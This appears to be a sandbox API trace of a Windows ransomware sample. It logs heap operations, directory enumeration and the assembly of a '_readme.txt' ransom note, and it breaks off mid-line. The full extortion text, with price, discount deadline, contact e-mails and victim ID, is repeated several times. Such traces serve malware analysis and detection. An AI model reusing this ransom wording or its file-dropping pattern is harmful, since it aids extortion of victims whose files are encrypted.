[0117.029] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.029] PathFindFileNameW (pszPath="") returned="" [0117.029] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.029] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.029] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.029] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.029] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.029] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.029] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.029] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0117.029] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.030] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.030] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0117.030] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.030] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.030] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.030] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.030] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.030] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.030] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.030] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.030] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.030] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.030] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.030] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.031] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.031] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.031] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.031] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.031] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.032] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.033] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.033] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.034] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.034] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 